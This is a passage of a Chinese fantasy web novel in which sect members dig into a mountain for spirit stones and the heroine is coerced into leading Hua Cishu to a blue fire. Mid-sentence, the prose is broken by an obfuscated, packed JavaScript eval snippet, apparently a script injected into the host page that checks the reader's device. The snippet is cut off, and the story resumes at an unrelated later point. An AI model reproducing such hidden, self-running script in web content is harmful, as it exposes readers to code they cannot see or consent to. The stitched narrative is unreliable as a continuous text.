哭魂幡最后摸了一把眼泪鼻涕，瞪着她：“宝贝呢？” 她往前走了几步，指着光秃秃的山体，“开始挖吧。” “什么？这里明明什么都没有，你还让我挖？花右使，她耍我们！” 她嗤笑了一声，“难道各位感受不到外溢的灵气吗？”从地上拿起一块只有指甲片大小的石头。 “花右使请看。”这石头一角呈蓝紫色，但整体颇为浑浊，若不仔细辨别，还以为是普通石头。“此为萤石。能在地面上捡到，说明山体之下宝物必然丰盛。” 众人都伸长了脖子。这石头确实看着不是一般的岩石，而且此处遍地都是这样的石头。 花辞树下巴向哭魂幡扬起：“挖吧。” “等下！”哭魂幡道，“那也不能让我一个人挖吧，你们都干看着？” 大家面面相觑。“几位长老，请吧。”花辞树又道。 金花飞蚺不干了，“花右使，难道你不出几分力气？我看，不出力气的人，就不分宝了吧？” 花辞树呵呵干笑几声，“我自然也是要出力气的。” “圣女呢？”金花飞蚺道，“圣女和三童难道就这么看着？” “玉石！” “玉石！” “玉石！” 三童目光呆呆的张着嘴，好像要流下口水来。尤其是玉生。经过瑶光楼一战，他现在应该特别需要灵气补充。 但她道：“各位不必担心，我们不分宝就是了。”力气当然要留着，这后面还不知道要发生什么。 再说，挖出来是一回事，有命享受那是另一回事。凭她现在的实力，还是不要瞎掺和的好。 三道渴求的目光向她投掷过来。 他们抓住她的衣裙，摇晃着异口同声道：“玉石！”“玉石！”“玉石！” ……没看到没看到没看到。小孩子不能惯着。 于是众人齐心协力开始轮番挖洞。 哭魂幡先是走上去，对着面前的山土就开始一阵哭。 哭自己身世苦，爹不疼妈不爱，从小被人瞧不起，大家都爱他哥不爱他，给他哥吃肉给他吃隔夜菜，甚至连底裤都是他哥淘汰给他的…… 金花飞蚺受不了了：“你行不行？” 哭魂幡：“你行你上啊？哇，我的命苦啊……” 金花飞蚺：“得得得，哪儿凉快哪儿待着去吧。我来。” 他一摸，其实土已经松许多了，只是还得运出来。 如此几个人挖洞的挖洞，运土的运土，只是最前面的最费劲，便轮番上场。 只不过轮到自己出力的时候，都小心翼翼地左顾右看，没一个下足力的，生怕被别人暗算。 这样下来，虽然进度肉眼可见，但是速度也是与几人实力不相匹配的。 太阳看着这几人演戏颇为无趣，渐渐低了头，最后无精打采地闭上了眼。 有几人合力，虽互相防备着，但也终于在太阳下山之时就将山体挖了个大洞出来。 随着众人挖的洞越来越深，灵气渐渐逸散在空中，简直快要凝成实体。顺着灵气的来处，众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是不太对劲。你不是知道吗？” 她确实是故意的。地火附近会伴生幻彩香，让人见到最想见到的。她在外面故意绕了几圈，就是为了让他们多熏熏，好腌入味。闻多了，他们才会发疯，她说不定就能浑水摸鱼。 李星中和白慕圣也知道此事。但他们也不提，任由她把众人带过来。看来，紫旭教内部心思各异。 身后有人。她感觉到一道压迫的目光。 花辞树眼里带笑道：“圣女，琉璃净火也在此处，还请带路。” “花右使说什么呢？我都不知道有这个东西。” “是吗？蓝眼泪不就是你从琉璃净火里取出来的吗？” 什么？李星中为什么要跟他说这个？她一直以为这只是他们两个人的秘密。 “请吧，圣女。”花辞树看着笑得温柔无害，“这次不要想着乱带路。否则，我就掰断你的手指。” 其实皮笑肉不笑。“我不知道从这里怎么去地心。” “从哪里能找到，就从哪里开始。” 她只好朝着洞口走去。 原来李星中竟是带着她向右走了，而原来的众人进了洞口是往左边。这下他们不惊扰这四人，便除了洞。 她偷偷看了一眼，四人已经打作一团。白慕圣站到了九音娘子身后，后者明显中了毒。哭魂幡更是已经倒下了。 然后带着花辞树来到了蓝色火焰的面前。 此处已经灼热难耐，衣服的边缘已经开始变焦，比上一次来到这里更令人感到恐怖。蓝色火焰在山间铺展开来，大有席卷一切之势。 李星中紧紧握住她的手。否则一不小心，她就有被烧焦的可能。 她指了指中间：“就在那里。”